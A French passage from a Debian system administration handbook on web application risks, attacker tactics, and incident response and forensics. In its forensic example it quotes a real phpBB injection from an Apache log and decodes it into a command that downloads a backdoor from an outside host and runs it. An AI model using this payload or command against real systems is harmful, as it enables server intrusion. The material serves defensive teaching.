Compilation des fichiers

Une fois que les trois fichiers (`example.if`, `example.fc` et `example.te`) sont conformes aux règles que l'on veut créer, il suffit d'invoquer **`make`** pour générer un module dans le fichier `example.pp` (que l'on peut immédiatement charger avec **`semodule -i example.pp`**). Si plusieurs modules sont définis, **`make`** créera tous les fichiers `.pp` correspondants.

Autres considérations sur la sécurité

La sécurité n'est pas un simple problème de technique. C'est avant tout des bonnes habitudes et une bonne compréhension des risques. Cette section propose donc une revue de certains risques fréquents, ainsi qu'une série de bonnes pratiques, qui, selon le cas, amélioreront la sécurité ou réduiront l'impact d'une attaque fructueuse.

Risques inhérents aux applications web

L'universalité des applications web a entraîné leur multiplication et il est fréquent d'en avoir plusieurs en service : un *webmail*, un wiki, un groupware, des forums, une galerie de photos, un blog, etc. Un grand nombre de ces applications s'appuient sur les technologies LAMP (*Linux Apache Mysql PHP*). Malheureusement un grand nombre ont aussi été écrites sans faire trop attention aux problèmes de sécurité. Trop souvent les données externes sont utilisées sans vérifications préalables et il est possible de subvertir un appel à une commande pour qu'il en résulte une autre, simplement en fournissant une valeur inattendue. Avec le temps, les problèmes les plus évidents ont été corrigés, mais de nouvelles failles de sécurité sont régulièrement découvertes.

Il est donc indispensable de mettre à jour ses applications web régulièrement pour ne pas rester vulnérable au premier pirate (amateur ou pas) qui cherchera à exploiter cette faille connue. Selon le cas, le risque varie : cela va de la destruction des données, à l'exécution de commandes arbitraires en passant par le vandalisme du site web.

Savoir à quoi s'attendre

Ainsi donc la vulnérabilité d'une application web est un point de départ fréquent pour un acte de piraterie. Voyons quelles peuvent en être les conséquences.

VOCABULAIRE Injection SQL

Lorsqu'un programme exécutant des requêtes SQL y insère des paramètres d'une manière non sécurisée, il peut être victime d'injections SQL. Il s'agit de modifier le paramètre d'une telle manière à ce que le programme exécute en réalité une version altérée de la requête SQL, soit pour endommager les données soit pour récupérer des données auxquelles l'utilisateur ne devait pas avoir accès.

▸ http://fr.wikipedia.org/wiki/Injection_SQL

VOCABULAIRE Déni de service

Une attaque en déni de service consiste à rendre inopérant une machine ou un de ses services. Une telle attaque est parfois « distribuée », il s'agit alors de surcharger la machine avec un grand nombre de requêtes en provenance de nombreuses sources, afin que le serveur ne puisse plus répondre aux requêtes légitimes. En anglais, on parle de *(distributed) denial of service* (abrégé en DoS ou DDoS).

DÉCOUVERTE **Filtrer les requêtes HTTP**

Il existe des modules pour Apache 2 qui permettent de filtrer les requêtes HTTP entrantes. Il est ainsi possible de bloquer certains vecteurs d'attaques : empêcher les dépassements de tampon en limitant la longueur de certains paramètres, par exemple. D'une manière générale, il est possible de valider en amont les paramètres envoyés à une application web et de restreindre l'accès à celle-ci selon de nombreux critères. Il est même possible de combiner cela avec une modification dynamique du pare-feu pour bloquer pendant quelques minutes un utilisateur ayant enfreint une des règles mises en place.
Ces vérifications sont assez lourdes à mettre en place, mais elles peuvent s'avérer assez efficaces si l'on est contraint de déployer une application web à la sécurité incertaine.
mod-security est le premier module a avoir rempli cette tâche, mais il n'est pas disponible dans Debian suite à un problème de licence (incompatibilité entre la GPL et la licence de Apache). Le module *mod-ifier* disponible dans le paquet `libapache2-mod-ifier` en est le remplaçant le plus proche.
▸ http://www.steve.org.uk/Software/mod_ifier/

Selon l'intention du pirate, son intrusion sera plus ou moins évidente. Les *script-kiddies* se contentent d'appliquer les recettes toutes prêtes qu'ils trouvent sur des sites web. Le vandalisme d'une page web ou la suppression des données sont les issues les plus probables. Parfois, c'est plus subtil et ils ajoutent du contenu invisible dans les pages web afin d'améliorer le référencement de certains de leurs sites.

Un pirate plus avancé ne se contentera pas de ce maigre résultat. Un scénario catastrophe pourrait se poursuivre comme suit : le pirate a obtenu la possibilité d'exécuter des commandes en tant qu'utilisateur `www-data`, mais cela requiert de nombreuses manipulations pour chaque commande. Il va chercher à se faciliter la vie en installant d'autres applications web précisément développées pour exécuter à distance toutes sortes de commandes : naviguer dans l'arborescence, analyser les droits, télécharger des fichiers, en déposer, exécuter des commandes et le summum, mettre à disposition un interpréteur de commandes par le réseau. Très fréquemment la faille lui permettra de lancer un **`wget`** qui va télécharger un programme malfaisant dans `/tmp/`, et il l'exécutera dans la foulée. Le programme sera téléchargé depuis un serveur étranger qui, lui aussi, a été compromis. L'intérêt étant de brouiller les pistes si jamais l'on voulait remonter à l'origine de l'attaque.

VOCABULAIRE **Élévation des privilèges**

Cette technique consiste à obtenir plus de droits qu'un utilisateur n'en a normalement. Le programme **sudo** est prévu pour cela : donner les droits d'administrateur à certains utilisateurs. Mais on emploie aussi la même expression pour désigner l'action d'un pirate qui exploite une faille pour obtenir des droits qu'il ne possède pas. En anglais, l'expression est *privilege escalation*.

À ce stade, l'attaquant a tellement de liberté qu'il installe souvent un *bot* IRC (un robot qui se connecte à un serveur IRC et qui peut être commandé par ce biais). Il sert souvent à échanger des fichiers illégaux (films et logiciels piratés, etc.). Mais un pirate déterminé peut vouloir aller encore plus loin. Le compte `www-data` ne permet pas de profiter pleinement de la machine, il va donc chercher à obtenir les privilèges de l'administrateur. C'est théoriquement impossible mais si l'application web n'était pas à jour, il est probable que le noyau ou un autre pro-

gramme ne le soit pas non plus. D'ailleurs l'administrateur avait bien vu passer l'annonce d'une vulnérabilité mais puisque cela n'était exploitable que localement et que le serveur n'avait pas d'utilisateur local, il n'a pas pris soin de mettre à jour. L'attaquant profite donc de cette deuxième faille pour obtenir un accès root.

Maintenant qu'il règne en maître sur la machine, il va essayer de garder cet accès privilégié aussi longtemps que possible. Il va installer un *rootkit* : il s'agit d'un programme qui va remplacer certains composants du système afin de ré-obtenir facilement les privilèges d'administrateur et qui va tenter de dissimuler son existence ainsi que les traces de l'intrusion. Le programme **`ps`** omettra certains processus, le programme **`netstat`** ne mentionnera pas certaines connexions actives, etc. Grâce aux droits root, l'attaquant a pu analyser tout le système mais il n'a pas trouvé de données importantes. Il va alors essayer d'accéder à d'autres machines du réseau de l'entreprise. Il analyse le compte de l'administrateur local et consulte les fichiers d'historique pour retrouver les machines auxquelles l'administrateur s'est connecté. Il peut remplacer **`sudo`** par une version modifiée qui enregistre (et lui fait parvenir) le mot de passe saisi. La prochaine fois que l'administrateur viendra effectuer une opération sur ce serveur, le pirate obtiendra son mot de passe et pourra librement l'essayer sur les serveurs détectés.

Pour éviter d'en arriver là, il y a de nombreuses mesures à prendre. Les prochaines sections s'attacheront à en présenter quelques unes.

Bien choisir les logiciels

Une fois sensibilisé aux problèmes potentiels de sécurité, il faut y faire attention à toutes les étapes de la mise en place d'un service, et en premier lieu, lors du choix du logiciel à installer. De nombreux sites comme `SecurityFocus.com` recensent les vulnérabilités découvertes, et on peut ainsi se faire une idée de la sécurité d'un logiciel avant de le déployer. Il faut évidemment mettre en balance cette information avec la popularité du dit logiciel : plus nombreux sont ses utilisateurs, plus il constitue une cible intéressante et plus il sera scruté de près. Au contraire, un logiciel anodin peut être truffé de trous de sécurité, mais comme personne ne l'utilise, aucun audit de sécurité n'aura été réalisé.

Le monde du logiciel libre offre souvent le choix, il faut prendre le temps de bien choisir en fonction de ses critères propres. Plus un logiciel dispose de fonctionnalités intégrées, plus le risque est grand qu'une faille se cache quelque part dans le code. Il ne sert donc à rien de retenir systématiquement le logiciel le plus avancé, il vaut souvent mieux privilégier le logiciel le plus simple qui répond à tous les besoins exprimés.

VOCABULAIRE Audit de sécurité

Un audit de sécurité est une lecture du code source et une analyse de ce dernier afin de trouver toutes les failles de sécurité qu'il pourrait contenir. Un audit est souvent préventif, on les effectue pour s'assurer que le programme est conforme à certaines exigences de sécurité.

VOCABULAIRE Zero day exploit

Une attaque de type *zero day exploit* est imparable, il s'agit d'une attaque utilisant une faille qui n'est pas encore connue des auteurs du logiciel.

Gérer une machine dans son ensemble

La plupart des distributions Linux installent en standard un certain nombre de services Unix ainsi que de nombreux utilitaires. Dans bien des cas, ils ne sont pas nécessaires au bon fonctionnement des services que l'administrateur met en place sur la machine. Comme bien souvent en sécurité, il vaut mieux supprimer tout ce qui n'est pas nécessaire. En effet, cela ne sert à rien de s'appuyer sur un serveur FTP sécurisé si une faille dans un service inutilisé permet d'obtenir un accès administrateur à la machine.

C'est la même logique qui incite à configurer un pare-feu n'autorisant l'accès qu'aux services qui doivent être accessibles au public.

Les capacités des ordinateurs permettent facilement d'héberger plusieurs services sur une même machine. Ce choix se justifie économiquement : un seul ordinateur à administrer, moins d'énergie consommée, etc. Mais du point de vue de la sécurité, ce choix est plutôt gênant. La compromission d'un service entraîne souvent l'accès à la machine complète et donc aux données des autres services hébergés sur le même ordinateur. Pour limiter les risques de ce point de vue, il est intéressant d'isoler les différents services. Cela peut se faire soit avec de la virtualisation, chaque service étant hébergé sur une machine virtuelle dédiée, soit avec SELinux, en paramétrant les droits associés au démon (programme serveur) en charge de chaque service.

Les utilisateurs sont des acteurs

Lorsqu'on parle de sécurité, on pense immédiatement à la protection contre les attaques des pirates anonymes qui se camouflent dans l'immensité de l'Internet. On oublie trop souvent que les risques proviennent aussi de l'intérieur : un employé en instance de licenciement qui télécharge des dossiers sur les projets les plus importants et qui les propose à la concurrence, un commercial négligent qui reste connecté pendant qu'il s'absente alors qu'il reçoit un nouveau prospect, un utilisateur maladroit qui a supprimé le mauvais répertoire par erreur, etc.

La réponse à ces problématiques passe parfois par de la technique : il ne faut pas donner plus que les accès nécessaires, et il convient d'avoir des sauvegardes régulières. Mais dans la plupart des cas, il s'agit avant tout de prévention en formant les utilisateurs afin qu'ils puissent mieux éviter les risques.

DÉCOUVERTE autolog

Le paquet `autolog` fournit un logiciel permettant de déconnecter automatiquement les utilisateurs inactifs (après un délai configurable). Il permet aussi de tuer les processus utilisateurs qui persistent après la déconnexion de ces derniers (en les empêchant ainsi d'avoir leurs propres démons).

Sécurité physique

Il ne sert à rien de sécuriser l'ensemble de vos services si les ordinateurs sous-jacents ne sont pas eux mêmes protégés. Il est probablement judicieux que les données les plus importantes soient stockées sur des dis-

ques en RAID que l'on peut remplacer à chaud, parce que justement on tient à garantir leur préservation malgré la faillibilité des disques. Mais il serait regrettable qu'un livreur de pizza puisse s'introduire dans le bâtiment et faire un saut dans la salle des serveurs pour emmener les quelques disques... Qui a accès à la salle machine ? Y a-t-il une surveillance des accès ? Voilà quelques exemples de questions qu'il faut se poser lorsque l'on considère le problème de la sécurité physique.

On peut aussi inclure sous cette bannière, la prise en compte des risques d'accidents tels que les incendies. C'est ce risque qui justifie que les sauvegardes soient stockées dans un autre bâtiment ou du moins dans un coffre ignifugé.

Responsabilité juridique

En tant qu'administrateur vous bénéficiez, implicitement ou non, de la confiance des utilisateurs ainsi que des autres usagers du réseau. Évitez toute négligence dont des malfaisants sauraient profiter !

Un pirate prenant le contrôle de votre machine, puis l'employant comme une sorte de base avancée (on parle de système relais) afin de commettre un méfait, pourrait vous causer de l'embarras puisque des tiers verront en vous, d'emblée, le pirate ou son complice. Dans le cas le plus fréquent le pirate emploiera votre machine afin d'expédier du spam, ce qui n'aura vraisemblablement pas d'impact majeur (hormis des inscriptions éventuelles sur des listes noires qui limiteraient votre capacité à expédier des messages) mais n'enthousiasmera personne. Dans d'autres cas, des exactions seront commises grâce à votre machine, par exemple des attaques par déni de service. Elles induiront parfois un manque à gagner, car rendront indisponibles des services logiciels ou détruiront des données, voire un coût, parce qu'une entité s'estimant lésée intentera une action en justice. La détentrice des droits de diffusion d'une œuvre indûment mise à disposition via votre machine pourrait ainsi intenter, de même qu'une entreprise engagée à maintenir une disponibilité donnée via un contrat de qualité de service (SLA-SLM) et se voyant contrainte d'acquitter des pénalités à cause du piratage.

Vous souhaiterez alors étayer vos protestations d'innocence en produisant des éléments probants montrant l'activité douteuse menée sur votre système par des tiers employant une adresse IP donnée. Cela restera impossible si, imprudemment, vous négligez les recommandations de ce chapitre et laissez le pirate disposer facilement d'un compte privilégié (en particulier le compte root) grâce auquel il effacera ses propres traces.

En cas de piratage

Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements.

Détecter et constater le piratage

Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate.

Les actes de piratage sont souvent détectés lorsqu'ils ont des conséquences directes sur les services légitimes hébergés sur la machine : la lenteur soudaine de la connexion, l'impossibilité de se connecter pour certains utilisateurs ou tout autre dysfonctionnement. Face à ces problèmes, l'administrateur est obligé de se pencher sur la machine et d'étudier de plus près ce qui ne tourne pas rond. C'est à ce moment qu'il va découvrir la présence d'un processus inhabituel, nommé par exemple `apache` au lieu du `/usr/sbin/apache2` habituel. Alerté par ce détail, il note le numéro du processus et consulte `/proc/`*`pid`*`/exe` pour savoir quel programme se cache derrière ce processus :

```
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe
  ➥ -> /var/tmp/.bash_httpd/psybnc
```

Un programme installé dans `/var/tmp/` sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage.

Il s'agit là d'un simple exemple, de nombreux autres indices peuvent mettre en alerte un administrateur :

- une option d'une commande qui ne fonctionne plus, il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après **`dpkg`** ;
- une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;
- une partition `/tmp/` pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;
- etc.

Mettre le serveur hors-ligne

Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire, ...). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps.

Ceci n'est possible que si l'on dispose d'un accès physique au serveur. Si ce n'est pas le cas (par exemple parce que le serveur est hébergé à l'autre bout du pays chez un prestataire d'hébergement), il peut être plus judicieux de commencer par récolter quelques informations importantes (voir les sections suivantes), puis d'isoler autant que possible le serveur en stoppant le maximum de services (c'est-à-dire tout sauf **sshd**). Cette situation n'est pas recommandable car il est impossible de s'assurer que l'attaquant ne profite pas (comme l'administrateur) d'un accès via SSH. Difficile dans ces conditions de « nettoyer » la machine.

Préserver tout ce qui peut constituer une preuve

Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information.

Le stress du moment incite souvent les administrateurs à vérifier plein de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée peut potentiellement effacer des éléments de preuve. Il faut se contenter du minimum (`netstat -tupan` pour les connexions réseau, `ps auxf` pour la liste des processus, `ls -alR /proc/[0-9]*` pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait.

Une fois les éléments « dynamiques » les plus importants sauvegardés, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichier évolue encore. Il faut donc le remonter en lecture seule (*read-only*). Le plus simple est souvent de stopper le serveur (brutalement, après un **sync**) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme **dd**. Ces images peuvent être stockées sur un autre serveur (l'utilitaire **nc** est alors très pratique pour envoyer les données générées par **dd** d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé.

ATTENTION **Analyse à chaud**

La tentation est grande d'analyser à chaud un système, surtout lorsque l'on n'a pas d'accès physique au serveur. Cette opération n'est pas souhaitable, tout simplement parce que ne vous ne pouvez pas faire confiance aux programmes installés sur la machine compromise : il se peut que **ps** n'affiche pas tous les processus, que **ls** dissimule des fichiers, voire carrément que le noyau en fasse de même !

Si malgré tout, une telle analyse doit être conduite, il convient d'employer des programmes que l'on sait être corrects. Il est possible d'avoir un CD-Rom de secours contenant des programmes sains, voire un partage réseau (en lecture seule). Toutefois, si le noyau est compromis, mêmes ces mesures ne seront pas forcément suffisantes.

Réinstaller

Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, *backdoors* en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes).

Pour un serveur distant, réinstaller n'est pas forcément évident à réaliser. Il faudra souvent le concours de l'hébergeur car tous ne disposent pas d'infrastructure de réinstallation automatique. Attention également à ne pas réinitialiser la machine avec une sauvegarde complète ultérieure à la date de compromission ! Il vaut mieux réinstaller les logiciels et ne restaurer que les données.

Analyser à froid

Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options `ro,nodev,noexec,noatime` afin de ne ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis.

Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :

- l'analyse d'éventuels fichiers `.bash_history` est souvent très instructive ;
- il faut extraire la liste des fichiers récemment créés, modifiés et accédés ;
- l'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande **`strings`** qui extrait les chaînes de caractères présentes dans un binaire ;
- l'analyse des fichiers de traces de `/var/log/` permet souvent de fournir une chronologie ;
- enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de trace que les attaquants aiment à supprimer).

Il existe des logiciels pour faciliter certaines de ces opérations. Citons notamment *The Coroner Toolkit* (Le kit du médecin légiste) fourni par le paquet `tct` : il contient **`grave-robber`** qui collecte à chaud des données d'un système compromis, **`lazarus`** qui extrait des données des zones non-allouées d'un disque, **`pcat`** qui effectue une copie de la mémoire utilisée par un processus, ainsi que d'autres outils d'extraction de données.

Le paquet `sleuthkit` fournit d'autres outils d'analyse de système de fichiers. Leur usage est grandement facilité par l'interface graphique *Autopsy Forensic Browser* contenue dans le paquet `autopsy`.

Reconstituer le scénario de l'attaque

Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique.

La trace ci-dessous, extraite d'un fichier `access.log` de Apache, en est un exemple :

```
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252
➥ esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252
➥ echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252
➥ echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)
➥ %252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252
➥ echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252
➥ echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252
➥ echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)
➥ %252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)
➥ %252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)
➥ %252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)
➥ %252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)
➥ %252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
```

Cet exemple correspond à l'exploitation d'un ancien trou de sécurité de phpBB.

- http://secunia.com/advisories/13239/
- http://www.phpbb.com/phpBB/viewtopic.php ?t=240636

En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP **`system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")`**. Effectivement, un fichier `bd` est disponible dans `/tmp/`. L'exécution de **`strings /mnt/tmp/bd`** renvoie entre autres `PsychoPhobia Backdoor is starting...`. Il s'agit donc d'une porte dérobée.

Peu de temps après, cet accès a été utilisé pour télécharger et installer un *bot* IRC qui s'est connecté à un réseau IRC *underground*. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des

fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :

```
 ** 2004-11-29-19:50:15: NOTICE:
  ➥ :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE
  ➥ ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from
  ➥ GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection
  ➥ to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502:
  ➥ In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB:
  ➥ La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed
  ➥ (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed
  ➥ (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
```

Deux fichiers vidéos ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202.

En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires `/tmp/pt` et `/tmp/loginx`. Une analyse avec **`strings`** permet de récupérer des chaînes comme *Shellcode placed at 0x%08lx* ou *Now wait for suid shell...*. Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non.

Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué, et l'attaquant a pu se servir du système compromis pendant 3 jours. Mais le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation.